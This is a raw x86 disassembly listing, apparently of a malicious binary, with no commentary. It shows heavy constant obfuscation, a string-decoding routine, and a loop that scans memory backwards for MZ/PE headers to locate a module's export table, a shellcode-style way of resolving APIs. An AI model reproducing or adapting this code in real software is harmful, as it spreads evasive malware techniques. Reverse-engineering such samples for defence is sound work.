		add	esp, 8
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-210h], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:10012BA4h
		mov	eax, ds:100130F8h
		add	eax, ds:10013268h
		movsx	eax, byte ptr [ebp+eax-10Eh]
		cmp	eax, ds:10013248h
		jnz	short loc_420006
		push	10013D6Dh
		call	sub_41C914
		pop	ecx
		mov	edx, ds:1001318Ch
		add	edx, ds:1001309Ch
		sub	edx, 5
		push	edx
		push	0
		push	eax
		push	0
		call	dword ptr ds:10012644h
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:10010380h[eax]
		call	dword ptr ds:1000FA40h
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_420006:				; CODE XREF: .data:0041FFBFj
		push	10013D68h
		call	sub_41C914
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-214h], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:10012BA4h
		mov	eax, ds:100131ACh
		movsx	eax, byte ptr [ebp+eax-108h]
		mov	edx, ds:10013184h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4200BA
		push	10013D46h
		call	sub_41C914
		pop	ecx
		mov	edx, ds:1001319Ch
		add	edx, ds:1001325Ch
		sub	edx, 0Eh
		push	edx
		push	0
		push	eax
		push	0
		call	dword ptr ds:10012644h
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:10010384h[eax]
		call	dword ptr ds:1000FA40h
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_4200BA:				; CODE XREF: .data:00420073j
		push	10013D41h
		call	sub_41C914
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp-103h]
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-218h], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:10012BA4h
		movsx	eax, word ptr ds:10013098h
		movsx	eax, byte ptr [ebp+eax-105h]
		mov	edx, ds:1001318Ch
		add	edx, ds:10013268h
		sub	edx, 4
		cmp	eax, edx
		jz	loc_42025C
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_42013E:				; CODE XREF: .data:00420143j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_42013E
		mov	ecx, ds:10013120h
		sub	ecx, 1
		cmp	eax, ecx
		jb	loc_42025C
		movsx	eax, word ptr ds:10013150h
		add	eax, ds:1001321Ch
		sub	eax, 10h
		mov	[ebp-105h], al
		jmp	short loc_420190
; ---------------------------------------------------------------------------


loc_42016E:				; CODE XREF: .data:004201A9j
		movzx	eax, byte ptr [ebp-105h]
		mov	al, [ebp+eax-103h]
		cmp	al, 30h
		jl	short loc_420184
		cmp	al, 39h
		jle	short loc_420189


loc_420184:				; CODE XREF: .data:0042017Ej
		jmp	loc_42025C
; ---------------------------------------------------------------------------


loc_420189:				; CODE XREF: .data:00420182j
		add	byte ptr [ebp-105h], 1


loc_420190:				; CODE XREF: .data:0042016Cj
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_420199:				; CODE XREF: .data:0042019Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420199
		movzx	ecx, byte ptr [ebp-105h]
		cmp	ecx, eax
		jb	short loc_42016E
		mov	eax, ds:10013280h
		add	eax, ds:100130D4h
		sub	eax, 0Ah
		mov	[ebp-104h], al
		jmp	short loc_420238
; ---------------------------------------------------------------------------


loc_4201C1:				; CODE XREF: .data:00420251j
		mov	al, [ebp-104h]
		mov	[ebp-219h], al
		jmp	short loc_4201F8
; ---------------------------------------------------------------------------


loc_4201CF:				; CODE XREF: .data:00420211j
		movzx	eax, byte ptr [ebp-219h]
		movsx	eax, byte ptr [ebp+eax-103h]
		movzx	edx, byte ptr [ebp-104h]
		movsx	edx, byte ptr [ebp+edx-103h]
		cmp	eax, edx
		jnz	short loc_420213
		add	byte ptr [ebp-219h], 1


loc_4201F8:				; CODE XREF: .data:004201CDj
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_420201:				; CODE XREF: .data:00420206j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420201
		movzx	ecx, byte ptr [ebp-219h]
		cmp	ecx, eax
		jb	short loc_4201CF


loc_420213:				; CODE XREF: .data:004201EFj
		movzx	eax, byte ptr [ebp-219h]
		movzx	edx, byte ptr [ebp-104h]
		sub	eax, edx
		movsx	edx, word ptr ds:100130BCh
		sub	edx, 6
		cmp	eax, edx
		jg	short loc_42025C
		add	byte ptr [ebp-104h], 1


loc_420238:				; CODE XREF: .data:004201BFj
		lea	ecx, [ebp-103h]
		or	eax, 0FFFFFFFFh


loc_420241:				; CODE XREF: .data:00420246j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420241
		movzx	ecx, byte ptr [ebp-104h]
		cmp	ecx, eax
		jb	loc_4201C1
		jmp	loc_4202EB
; ---------------------------------------------------------------------------


loc_42025C:				; CODE XREF: .data:0042012Fj
					; .data:00420150j ...
		mov	eax, ds:100131C4h
		add	eax, 7CBh
		push	eax
		call	dword ptr ds:10012630h
		push	10013D08h
		call	sub_41C914
		mov	[ebp-21Ch], eax
		push	10013CF1h
		call	sub_41C914
		movsx	edx, word ptr ds:10013174h
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp-21Ch]
		push	edx
		push	0
		call	dword ptr ds:10012644h
		push	10013CEDh
		call	sub_41C914
		add	esp, 10h
		push	eax
		mov	eax, 30h
		mul	edi
		mov	[ebp-220h], eax
		mov	edx, eax
		push	dword ptr ds:10010388h[edx]
		call	dword ptr ds:10012658h
		mov	eax, 30h
		mul	edi
		mov	[ebp-224h], eax
		push	dword ptr ds:10010388h[eax]
		call	dword ptr ds:1000FA40h
		jmp	loc_420372
; ---------------------------------------------------------------------------


loc_4202EB:				; CODE XREF: .data:00420257j
		push	10013CE8h
		call	sub_41C914
		push	eax
		lea	edx, [ebp-204h]
		push	edx
		call	dword ptr ds:1000D020h
		lea	eax, [ebp-103h]
		push	eax
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D020h
		mov	eax, 30h
		mul	edi
		mov	[ebp-228h], eax
		push	dword ptr ds:10010378h[eax]
		call	dword ptr ds:10010224h
		lea	eax, [ebp-204h]
		push	eax
		call	dword ptr ds:1000D04Ch
		add	esp, 18h
		push	5
		mov	eax, 30h
		mul	edi
		mov	[ebp-22Ch], eax
		push	dword ptr ds:10010374h[eax]
		call	dword ptr ds:1001265Ch
		mov	eax, 30h
		mul	edi
		mov	[ebp-230h], eax
		and	dword ptr ds:10010370h[eax], 0


loc_420372:				; CODE XREF: .data:0041FE1Ej
					; .data:0041FE2Fj ...
		mov	eax, ds:100130C8h
		movsx	edx, word ptr ds:100131B4h
		mov	edi, eax
		add	edi, edx
		sub	edi, 4
		jmp	loc_42045E
; ---------------------------------------------------------------------------


loc_42038A:				; CODE XREF: .data:0042046Aj
		mov	eax, 30h
		mul	edi
		mov	[ebp-8], eax
		cmp	esi, ds:10010380h[eax]
		jnz	short loc_4203C1
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-0Ch], eax
		push	dword ptr ds:10010390h[eax]
		call	dword ptr ds:1001260Ch
		jmp	loc_420470
; ---------------------------------------------------------------------------


loc_4203C1:				; CODE XREF: .data:0042039Bj
		mov	eax, 30h
		mul	edi
		mov	[ebp-10h], eax
		cmp	esi, ds:10010384h[eax]
		jnz	short loc_4203F5
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-14h], eax
		push	dword ptr ds:10010394h[eax]
		call	dword ptr ds:1001260Ch
		jmp	short loc_420470
; ---------------------------------------------------------------------------


loc_4203F5:				; CODE XREF: .data:004203D2j
		mov	eax, 30h
		mul	edi
		mov	[ebp-18h], eax
		cmp	esi, ds:10010388h[eax]
		jnz	short loc_420429
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-1Ch], eax
		push	dword ptr ds:10010398h[eax]
		call	dword ptr ds:1001260Ch
		jmp	short loc_420470
; ---------------------------------------------------------------------------


loc_420429:				; CODE XREF: .data:00420406j
		mov	eax, 30h
		mul	edi
		mov	[ebp-20h], eax
		cmp	esi, ds:1001037Ch[eax]
		jnz	short loc_42045D
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	ebx
		push	esi
		mov	eax, 30h
		mul	edi
		mov	[ebp-24h], eax
		push	dword ptr ds:1001039Ch[eax]
		call	dword ptr ds:1001260Ch
		jmp	short loc_420470
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: .data:0042043Aj
		inc	edi


loc_42045E:				; CODE XREF: .data:00420385j
		movsx	eax, word ptr ds:100130D8h
		add	eax, 62h
		cmp	edi, eax
		jb	loc_42038A


loc_420470:				; CODE XREF: .data:004203BCj
					; .data:004203F3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420477	proc near		; CODE XREF: sub_41AD81+247p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	1
		push	[ebp+arg_4]
		call	sub_41C9F7
		add	esp, 8
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_42069C
		mov	[ebp+var_18], 8
		push	10013CD8h
		call	sub_41FB74
		pop	ecx
		push	eax
		call	dword ptr ds:1000D044h
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word ptr ds:100131A4h
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_420684
		lea	eax, [ebp+var_3C]
		push	eax
		push	10014A68h
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013280h
		add	eax, ds:1001320Ch
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_42067B
		mov	[ebp+var_30], 2
		mov	eax, ds:10013164h
		sub	eax, 4
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, ds:10013288h
		add	eax, ds:10013184h
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_420672
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	10014A78h
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013160h
		dec	eax
		cmp	ebx, eax
		jnz	loc_420669
		inc	dword ptr ds:1000F620h
		movsx	eax, word ptr ds:10013104h
		add	eax, 2
		cmp	ds:1000F620h, eax
		jb	short loc_4205C4
		mov	eax, ds:100130F4h
		add	eax, 3
		mov	ds:1000F620h, eax
		push	[ebp+var_4]
		call	sub_41B930
		pop	ecx
		jmp	loc_420660
; ---------------------------------------------------------------------------


loc_4205C4:				; CODE XREF: sub_420477+130j
		mov	eax, ds:100130ACh
		movsx	edx, word ptr ds:100130D8h
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	dword ptr ds:10011640h
		call	sub_42088C
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	dword ptr ds:1000D018h
		call	sub_42088C
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_420620
		cmp	[ebp+var_34], 0
		jz	short loc_420620
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_41BA2F
		add	esp, 10h


loc_420620:				; CODE XREF: sub_420477+18Cj
					; sub_420477+192j
		cmp	[ebp+var_40], 0
		jz	short loc_420641
		cmp	[ebp+var_38], 0
		jz	short loc_420641
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_41BA2F
		add	esp, 10h


loc_420641:				; CODE XREF: sub_420477+1ADj
					; sub_420477+1B3j
		push	[ebp+var_34]
		call	dword ptr ds:1000F61Ch
		push	[ebp+var_38]
		call	dword ptr ds:1000F61Ch
		push	0
		push	[ebp+arg_4]
		call	sub_41C9F7
		add	esp, 8


loc_420660:				; CODE XREF: sub_420477+148j
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420669:				; CODE XREF: sub_420477+114j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420672:				; CODE XREF: sub_420477+E8j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_42067B:				; CODE XREF: sub_420477+94j
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420684:				; CODE XREF: sub_420477+66j
		lea	eax, [ebp+var_18]
		push	eax
		call	dword ptr ds:10012BA0h
		movsx	eax, word ptr ds:100131E0h
		sub	eax, 3
		cmp	ebx, eax
		jz	short $+2


loc_42069C:				; CODE XREF: sub_420477+1Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420477	endp

; ---------------------------------------------------------------------------
		db 0B8h, 1, 40h
		dd 18C28000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A9	proc near		; CODE XREF: sub_41C19D+2CEp
					; sub_41D764+263p

var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 330h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	dword ptr ds:10012630h
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_423399
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_4206D7:				; CODE XREF: sub_4206A9+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4206D7
		mov	edx, ds:100131C4h
		add	edx, ds:1001314Ch
		sub	edx, 0Ah
		mov	ebx, eax
		sub	ebx, edx
		mov	edx, ds:10013254h
		sub	edx, 9
		mov	[ebp+ebx+var_316], dl
		mov	eax, ds:10013268h
		movsx	edx, word ptr ds:100130A4h
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Ah


loc_420714:				; CODE XREF: sub_4206A9+177j
		mov	eax, edi
		movsx	ecx, word ptr ds:10013240h
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		movsx	ecx, word ptr ds:100131F0h
		dec	ecx
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, ds:100131F4h
		movsx	edx, word ptr ds:100130CCh
		add	eax, edx
		sub	eax, 0Ah
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, ds:1001321Ch
		sub	eax, 8
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, ds:10013114h
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_42081F
		mov	eax, edi
		mov	ecx, ds:10013270h
		sub	ecx, 2
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, ds:100130F8h
		add	eax, ds:100130ECh
		sub	eax, 9
		mov	edx, [ebp+var_328]
		add	edx, eax
		movsx	eax, word ptr ds:1001316Ch
		add	eax, ds:10013164h
		sub	eax, 5
		mov	[ebp+edx+var_212], al
		mov	eax, ds:1001314Ch
		mov	[ebp+var_32C], eax
		mov	eax, edi
		mov	edx, [ebp+var_32C]
		mov	ecx, edx
		add	ecx, ds:10013204h
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_330], eax
		mov	eax, ds:1001314Ch
		sub	eax, 3
		mov	edx, [ebp+var_330]
		add	edx, eax
		movsx	eax, word ptr ds:100130B0h
		movsx	ecx, word ptr ds:10013124h
		add	eax, ecx
		sub	eax, 0Dh
		mov	[ebp+edx+var_212], al
		jmp	short loc_420825
; ---------------------------------------------------------------------------


loc_42081F:				; CODE XREF: sub_4206A9+DEj
		inc	edi
		jmp	loc_420714
; ---------------------------------------------------------------------------


loc_420825:				; CODE XREF: sub_4206A9+174j
		cmp	dword ptr ds:100132ACh,	0
		jz	short loc_420866
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:1000F604h
		mov	esi, eax
		or	esi, esi
		jz	short loc_420866
		cmp	dword ptr ds:100132B0h,	0
		jz	short loc_420887
		mov	eax, ds:1001313Ch
		sub	eax, 2
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	dword ptr ds:1000D01Ch


loc_420866:				; CODE XREF: sub_4206A9+183j
					; sub_4206A9+198j
		push	dword ptr ds:1000F614h
		push	dword ptr ds:10012610h
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_421353
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_420887:				; CODE XREF: sub_4206A9+1A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4206A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42088C	proc near		; CODE XREF: .data:0041DDDDp
					; sub_420477+16Bp ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10012788h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4208D5
		cmp	[ebp+arg_4], 0
		jz	short loc_4208D1
		mov	eax, [ebp+arg_4]
		movsx	edx, word ptr ds:100130BCh
		add	edx, ds:100131ACh
		sub	edx, 0Eh
		mov	[eax], edx


loc_4208D1:				; CODE XREF: sub_42088C+2Ej
		xor	eax, eax
		jmp	short loc_420919
; ---------------------------------------------------------------------------


loc_4208D5:				; CODE XREF: sub_42088C+28j
		push	0
		push	edi
		call	dword ptr ds:10012624h
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	dword ptr ds:1000FA34h
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_4208FE
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_420904
; ---------------------------------------------------------------------------


loc_4208FE:				; CODE XREF: sub_42088C+68j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_420904:				; CODE XREF: sub_42088C+70j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	dword ptr ds:1000D028h
		push	edi
		call	dword ptr ds:10011654h
		mov	eax, ebx


loc_420919:				; CODE XREF: sub_42088C+47j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42088C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42091E	proc near		; CODE XREF: sub_419F88+1CAp
					; sub_41B354+2D9p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		push	100138A8h
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 0Ch
		mov	esi, ds:100131B8h
		sub	esi, 5
		jmp	short loc_42096E
; ---------------------------------------------------------------------------


loc_420954:				; CODE XREF: sub_42091E+56j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_42096D
		mov	eax, ds:100131F8h
		sub	eax, 3
		mov	[ebp+esi+var_FFF], al


loc_42096D:				; CODE XREF: sub_42091E+3Ej
		inc	esi


loc_42096E:				; CODE XREF: sub_42091E+34j
		cmp	esi, 0FFFh
		jb	short loc_420954
		mov	eax, ds:100131B8h
		sub	eax, 5
		mov	[ebp+var_1004],	eax
		mov	eax, ds:100130C4h
		mov	ebx, eax
		add	ebx, ds:100130C8h
		sub	ebx, 7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4209F3


loc_42099A:				; CODE XREF: sub_42091E+D3j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_4209BC
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	10012670h
		call	sub_423399
		jmp	loc_420C46
; ---------------------------------------------------------------------------


loc_4209BC:				; CODE XREF: sub_42091E+85j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_4209C6:				; CODE XREF: sub_42091E+ADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4209C6
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:1001315Ch
		sub	edx, 9
		cmp	eax, edx
		jz	loc_420C46
		jmp	short loc_42099A
; ---------------------------------------------------------------------------


loc_4209F3:				; CODE XREF: sub_42091E+7Aj
		mov	eax, ds:10013350h
		mov	[ebp+var_1008],	eax
		mov	eax, ds:10013210h
		add	eax, ds:10013268h
		sub	eax, 5
		mov	edx, [ebp+arg_0]
		mov	ecx, ds:100130D4h
		sub	ecx, 6
		mov	[edx+eax], cl
		mov	eax, ds:1001309Ch
		mov	ebx, eax
		add	ebx, ds:1001318Ch
		sub	ebx, 5
		mov	eax, ds:100131D0h
		add	eax, ds:1001312Ch
		sub	eax, 0Fh
		mov	[ebp+var_1004],	eax


loc_420A3F:				; CODE XREF: sub_42091E+300j
		push	1001389Dh
		call	sub_41C914
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_423399
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	dword ptr ds:1000D020h
		add	esp, 0Ch
		call	dword ptr ds:10012BACh
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, ds:10013090h
		add	eax, ds:10013220h
		sub	eax, 5
		cmp	edx, eax
		jnb	loc_420B71
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_41AFF0
		mov	eax, ds:1001319Ch
		movsx	edx, word ptr ds:10013230h
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4188C2
		add	esp, 14h
		mov	edi, ds:10013220h
		add	edi, 0FFFBh
		cmp	eax, edi
		jnz	short loc_420B05
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		push	10013898h
		call	sub_41C914
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		add	esp, 14h


loc_420B05:				; CODE XREF: sub_42091E+1BEj
		mov	eax, ds:100130DCh
		sub	eax, 2
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_4188C2
		add	esp, 0Ch
		mov	edi, ds:1001319Ch
		add	edi, 0FFF9h
		cmp	eax, edi
		jnz	short loc_420B6B
		push	1001388Dh
		call	sub_41C914
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		push	10013888h
		call	sub_41C914
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		add	esp, 20h


loc_420B6B:				; CODE XREF: sub_42091E+210j
		inc	[ebp+var_1008]


loc_420B71:				; CODE XREF: sub_42091E+174j
		push	[ebp+var_1004]
		call	sub_41D0D6
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	ecx, ds:100131A8h
		cmp	eax, ecx
		jnb	short loc_420BE9
		movsx	eax, word ptr ds:10013150h
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_4188C2
		add	esp, 0Ch
		movsx	edi, word ptr ds:10013208h
		mov	edx, ds:1001313Ch
		lea	edi, [edi+edx+0FFF7h]
		cmp	eax, edi
		jnz	short loc_420BE9
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		push	10013883h
		call	sub_41C914
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		add	esp, 14h


loc_420BE9:				; CODE XREF: sub_42091E+26Dj
					; sub_42091E+2A2j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_420BF3:				; CODE XREF: sub_42091E+2DAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_420BF3
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, ds:1001326Ch
		add	edx, ds:10013090h
		sub	edx, 0Ch
		cmp	eax, edx
		jnz	loc_420A3F
		push	1001387Eh
		call	sub_41C914
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:1000D020h
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	ds:10013350h, eax


loc_420C46:				; CODE XREF: sub_42091E+99j
					; sub_42091E+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42091E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, ds:10007C0Ah
		mov	[ebp-10h], eax
		mov	edx, eax
		movsx	ecx, word ptr ds:10013160h
		add	ecx, 0Fh
		mov	eax, edx
		shr	eax, cl
		movsx	edx, word ptr ds:10013124h
		add	edx, 0Ah
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_420C80:				; CODE XREF: .data:00420C98j
					; .data:00420CC8j ...
		mov	[ebp-18h], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_420C9A
		mov	eax, ds:10013188h
		add	eax, 10000h
		sub	ebx, eax
		jmp	short loc_420C80
; ---------------------------------------------------------------------------


loc_420C9A:				; CODE XREF: .data:00420C8Aj
		mov	eax, ds:1001315Ch
		add	eax, 2Dh
		add	eax, ds:10013288h
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		cmp	eax, ecx
		jbe	short loc_420CCA
		movsx	eax, word ptr ds:100130E8h
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_420C80
; ---------------------------------------------------------------------------


loc_420CCA:				; CODE XREF: .data:00420CB8j
		mov	eax, [ebp-14h]
		mov	[ebp-8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_420CEA
		movsx	eax, word ptr ds:10013218h
		add	eax, 0FFFBh
		sub	ebx, eax
		jmp	short loc_420C80
; ---------------------------------------------------------------------------


loc_420CEA:				; CODE XREF: .data:00420CD8j
		mov	eax, [ebp-8]
		mov	eax, [eax+80h]
		mov	[ebp-0Ch], eax
		movsx	eax, word ptr ds:10013174h
		sub	eax, 7
		mov	[ebp-4], eax
		jmp	loc_420E87
; ---------------------------------------------------------------------------


loc_420D08:				; CODE XREF: .data:00420E93j
